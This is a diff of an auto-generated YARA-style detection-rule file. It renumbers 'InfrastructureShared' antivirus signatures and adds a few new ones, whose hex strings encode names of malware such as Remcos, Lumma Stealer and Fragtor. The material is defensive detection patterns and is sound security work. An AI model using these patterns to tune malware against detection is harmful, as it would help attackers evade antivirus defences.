-rule _InfrastructureShared_2185{ +rule _InfrastructureShared_2201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22737,7 +22923,7 @@ rule _InfrastructureShared_2185{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2186{ +rule _InfrastructureShared_2202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22747,7 +22933,7 @@ rule _InfrastructureShared_2186{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2187{ +rule _InfrastructureShared_2203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22757,7 +22943,7 @@ rule _InfrastructureShared_2187{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2188{ +rule _InfrastructureShared_2204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22767,7 +22953,7 @@ rule _InfrastructureShared_2188{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2189{ +rule _InfrastructureShared_2205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22777,7 +22963,7 @@ rule _InfrastructureShared_2189{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2190{ +rule _InfrastructureShared_2206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22787,7 +22973,7 @@ rule _InfrastructureShared_2190{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2191{ +rule _InfrastructureShared_2207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22797,7 +22983,7 @@ rule _InfrastructureShared_2191{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2192{ +rule _InfrastructureShared_2208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22807,7 +22993,7 @@ rule _InfrastructureShared_2192{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2193{ +rule _InfrastructureShared_2209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22817,7 +23003,7 @@ rule _InfrastructureShared_2193{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2194{ +rule _InfrastructureShared_2210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22827,7 +23013,7 @@ rule _InfrastructureShared_2194{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2195{ +rule _InfrastructureShared_2211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22837,7 +23023,7 @@ rule _InfrastructureShared_2195{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2196{ +rule _InfrastructureShared_2212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22847,7 +23033,7 @@ rule _InfrastructureShared_2196{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2197{ +rule _InfrastructureShared_2213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22857,7 +23043,7 @@ rule _InfrastructureShared_2197{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2198{ +rule _InfrastructureShared_2214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22867,7 +23053,7 @@ rule _InfrastructureShared_2198{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2199{ +rule _InfrastructureShared_2215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22877,7 +23063,7 @@ rule _InfrastructureShared_2199{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2200{ +rule _InfrastructureShared_2216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22887,7 +23073,7 @@ rule _InfrastructureShared_2200{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2201{ +rule _InfrastructureShared_2217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22897,7 +23083,7 @@ rule _InfrastructureShared_2201{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2202{ +rule _InfrastructureShared_2218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22907,7 +23093,7 @@ rule _InfrastructureShared_2202{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2203{ +rule _InfrastructureShared_2219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22917,7 +23103,7 @@ rule _InfrastructureShared_2203{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2204{ +rule _InfrastructureShared_2220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22927,7 +23113,7 @@ rule _InfrastructureShared_2204{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2205{ +rule _InfrastructureShared_2221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22937,7 +23123,7 @@ rule _InfrastructureShared_2205{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2206{ +rule _InfrastructureShared_2222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22947,7 +23133,7 @@ rule _InfrastructureShared_2206{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2207{ +rule _InfrastructureShared_2223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22957,7 +23143,7 @@ rule _InfrastructureShared_2207{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2208{ +rule _InfrastructureShared_2224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22967,7 +23153,7 @@ rule _InfrastructureShared_2208{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2209{ +rule _InfrastructureShared_2225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22977,7 +23163,7 @@ rule _InfrastructureShared_2209{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2210{ +rule _InfrastructureShared_2226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22987,7 +23173,7 @@ rule _InfrastructureShared_2210{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2211{ +rule _InfrastructureShared_2227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22997,7 +23183,7 @@ rule _InfrastructureShared_2211{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2212{ +rule _InfrastructureShared_2228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23007,7 +23193,7 @@ rule _InfrastructureShared_2212{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2213{ +rule _InfrastructureShared_2229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23017,7 +23203,7 @@ rule _InfrastructureShared_2213{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2214{ +rule _InfrastructureShared_2230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23027,7 +23213,7 @@ rule _InfrastructureShared_2214{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2215{ +rule _InfrastructureShared_2231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23037,7 +23223,7 @@ rule _InfrastructureShared_2215{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2216{ +rule _InfrastructureShared_2232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23047,17 +23233,27 @@ rule _InfrastructureShared_2216{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2217{ +rule _InfrastructureShared_2233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 54 6f 62 65 65 74 5f 4d 73 69 6c 5f 46 45 44 41 46 41 30 30 00 01 00 16 01 2e 00 61 00 64 00 54 00 65 00 61 00 6d 00 2e 00 65 00 78 00 65 00 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 6f 74 } //18467 + $a_54_0 = {3a 54 6f 62 65 65 74 5f 4d 73 69 6c 5f 46 45 44 41 46 41 30 30 00 01 00 16 01 2e 00 61 00 64 00 54 00 65 00 61 00 6d 00 2e 00 65 00 78 00 65 00 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 } //18467 condition: ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2218{ +rule _InfrastructureShared_2234{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 52 50 30 38 30 34 32 35 21 4d 54 42 00 01 00 0b 01 0c 20 00 7e 01 00 0d 07 08 09 28 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 6f 74 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_2235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23067,7 +23263,7 @@ rule _InfrastructureShared_2218{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2219{ +rule _InfrastructureShared_2236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23077,7 +23273,7 @@ rule _InfrastructureShared_2219{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2220{ +rule _InfrastructureShared_2237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23087,7 +23283,7 @@ rule _InfrastructureShared_2220{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2221{ +rule _InfrastructureShared_2238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23097,7 +23293,7 @@ rule _InfrastructureShared_2221{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2222{ +rule _InfrastructureShared_2239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23107,7 +23303,7 @@ rule _InfrastructureShared_2222{ ((#a_57_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2223{ +rule _InfrastructureShared_2240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23117,7 +23313,7 @@ rule _InfrastructureShared_2223{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2224{ +rule _InfrastructureShared_2241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23127,7 +23323,7 @@ rule _InfrastructureShared_2224{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2225{ +rule _InfrastructureShared_2242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23137,7 +23333,7 @@ rule _InfrastructureShared_2225{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_2226{ +rule _InfrastructureShared_2243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23147,7 +23343,7 @@ rule _InfrastructureShared_2226{ ((#a_72_0 & 1)*21283) >=1 } -rule _InfrastructureShared_2227{ +rule _InfrastructureShared_2244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23157,7 +23353,7 @@ rule _InfrastructureShared_2227{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2228{ +rule _InfrastructureShared_2245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23167,7 +23363,7 @@ rule _InfrastructureShared_2228{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2229{ +rule _InfrastructureShared_2246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23177,7 +23373,7 @@ rule _InfrastructureShared_2229{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2230{ +rule _InfrastructureShared_2247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23187,27 +23383,57 @@ rule _InfrastructureShared_2230{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2231{ +rule _InfrastructureShared_2248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 75 6b 6f 7a 79 5f 54 45 41 5f 6b 65 79 00 01 00 10 01 36 e2 3a 3b 8e e1 cc 90 1a 45 3e 10 4c db 6a ab 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 54 45 4c 50 45 52 3a } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 75 6b 6f 7a 79 5f 54 45 41 5f 6b 65 79 00 01 00 10 01 36 e2 3a 3b 8e e1 cc 90 1a 45 3e 10 4c db 6a ab 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2232{ +rule _InfrastructureShared_2249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 44 65 61 6c 50 6c 79 00 01 00 16 03 89 06 81 7e 04 b3 d7 00 00 0f 90 01 05 ff 4e 04 6a 00 ff 36 90 00 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 56 69 72 54 6f 6f 6c } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 46 21 4d 54 42 00 01 00 10 01 55 89 e5 41 f0 18 49 d3 a4 fd 78 2a 30 ae 6b 70 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2233{ +rule _InfrastructureShared_2250{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 59 21 4d 54 42 00 01 00 0b 01 0f b6 3c 16 31 f9 42 39 c2 72 f5 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 54 45 4c 50 45 52 3a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2251{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 44 65 61 6c 50 6c 79 00 01 00 16 03 89 06 81 7e 04 b3 d7 00 00 0f 90 01 05 ff 4e 04 6a 00 ff 36 90 00 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2252{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 41 49 41 4a 21 4d 54 42 00 01 00 12 01 61 d2 9c fe 0c 16 00 20 09 f2 01 c3 20 a4 b4 60 17 58 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 4c 6f 63 61 6c 65 00 01 00 10 01 d8 2d 37 00 01 02 04 08 a4 03 00 00 60 82 79 82 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23217,7 +23443,7 @@ rule _InfrastructureShared_2233{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_2234{ +rule _InfrastructureShared_2254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23227,7 +23453,7 @@ rule _InfrastructureShared_2234{ ((#a_6f_0 & 1)*23075) >=1 } -rule _InfrastructureShared_2235{ +rule _InfrastructureShared_2255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23237,17 +23463,27 @@ rule _InfrastructureShared_2235{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2236{ +rule _InfrastructureShared_2256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 21 03 83 c0 0c 33 d2 52 50 8b 44 24 90 01 01 99 03 04 90 01 01 13 54 90 01 01 04 83 c4 08 89 44 24 90 00 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 17 01 2e 3f 41 56 43 57 69 6e 69 6e 65 74 5f 50 72 6f 74 6f 63 6f } //25635 + $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 21 03 83 c0 0c 33 d2 52 50 8b 44 24 90 01 01 99 03 04 90 01 01 13 54 90 01 01 04 83 c4 08 89 44 24 90 00 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 11 01 00 73 69 64 65 6c 6f 61 64 2e 70 64 62 00 } //25635 condition: ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2237{ +rule _InfrastructureShared_2257{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 11 01 00 73 69 64 65 6c 6f 61 64 2e 70 64 62 00 00 00 00 00 00 78 3e 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 17 01 2e 3f 41 56 43 57 69 6e 69 6e 65 74 5f 50 72 6f 74 6f 63 6f } //25635 + condition: + ((#a_5f_0 & 1)*25635) >=1 + +} +rule _InfrastructureShared_2258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23257,7 +23493,7 @@ rule _InfrastructureShared_2237{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2238{ +rule _InfrastructureShared_2259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23267,7 +23503,7 @@ rule _InfrastructureShared_2238{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2239{ +rule _InfrastructureShared_2260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23277,7 +23513,7 @@ rule _InfrastructureShared_2239{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2240{ +rule _InfrastructureShared_2261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23287,7 +23523,7 @@ rule _InfrastructureShared_2240{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2241{ +rule _InfrastructureShared_2262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -23298,7 +23534,7 @@ rule _InfrastructureShared_2241{ ((#a_61_0 & 1)*17187+(#a_72_1 & 1)*28207) >=1 } -rule _InfrastructureShared_2242{ +rule _InfrastructureShared_2263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -23309,7 +23545,7 @@ rule _InfrastructureShared_2242{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*11896) >=1 } -rule _InfrastructureShared_2243{ +rule _InfrastructureShared_2264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -23319,7 +23555,7 @@ rule _InfrastructureShared_2243{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2244{ +rule _InfrastructureShared_2265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -23330,7 +23566,7 @@ rule _InfrastructureShared_2244{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26990) >=2 } -rule _InfrastructureShared_2245{ +rule _InfrastructureShared_2266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -23341,7 +23577,7 @@ rule _InfrastructureShared_2245{ ((#a_54_0 & 1)*16675+(#a_34_1 & 1)*12865) >=2 } -rule _InfrastructureShared_2246{ +rule _InfrastructureShared_2267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -23352,7 +23588,7 @@ rule _InfrastructureShared_2246{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*14389) >=2 } -rule _InfrastructureShared_2247{ +rule _InfrastructureShared_2268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -23363,7 +23599,7 @@ rule _InfrastructureShared_2247{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25441) >=2 } -rule _InfrastructureShared_2248{ +rule _InfrastructureShared_2269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -23374,7 +23610,7 @@ rule _InfrastructureShared_2248{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65) >=2 } -rule _InfrastructureShared_2249{ +rule _InfrastructureShared_2270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -23385,7 +23621,7 @@ rule _InfrastructureShared_2249{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*3072) >=2 } -rule _InfrastructureShared_2250{ +rule _InfrastructureShared_2271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -23395,7 +23631,7 @@ rule _InfrastructureShared_2250{ ((#a_6c_0 & 1)*30243) >=2 } -rule _InfrastructureShared_2251{ +rule _InfrastructureShared_2272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -23407,7 +23643,7 @@ rule _InfrastructureShared_2251{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28261+(#a_3f_2 & 1)*1) >=3 } -rule _InfrastructureShared_2252{ +rule _InfrastructureShared_2273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -23418,7 +23654,7 @@ rule _InfrastructureShared_2252{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*16748) >=4 } -rule _InfrastructureShared_2253{ +rule _InfrastructureShared_2274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -23428,7 +23664,7 @@ rule _InfrastructureShared_2253{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_2254{ +rule _InfrastructureShared_2275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23438,7 +23674,7 @@ rule _InfrastructureShared_2254{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2255{ +rule _InfrastructureShared_2276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23448,7 +23684,7 @@ rule _InfrastructureShared_2255{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2256{ +rule _InfrastructureShared_2277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23458,7 +23694,7 @@ rule _InfrastructureShared_2256{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2257{ +rule _InfrastructureShared_2278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23468,7 +23704,7 @@ rule _InfrastructureShared_2257{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2258{ +rule _InfrastructureShared_2279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23478,7 +23714,7 @@ rule _InfrastructureShared_2258{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2259{ +rule _InfrastructureShared_2280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23488,7 +23724,7 @@ rule _InfrastructureShared_2259{ ((#a_67_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2260{ +rule _InfrastructureShared_2281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23498,7 +23734,7 @@ rule _InfrastructureShared_2260{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2261{ +rule _InfrastructureShared_2282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23508,7 +23744,7 @@ rule _InfrastructureShared_2261{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2262{ +rule _InfrastructureShared_2283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23518,7 +23754,7 @@ rule _InfrastructureShared_2262{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2263{ +rule _InfrastructureShared_2284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23528,7 +23764,7 @@ rule _InfrastructureShared_2263{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2264{ +rule _InfrastructureShared_2285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23538,7 +23774,7 @@ rule _InfrastructureShared_2264{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2265{ +rule _InfrastructureShared_2286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 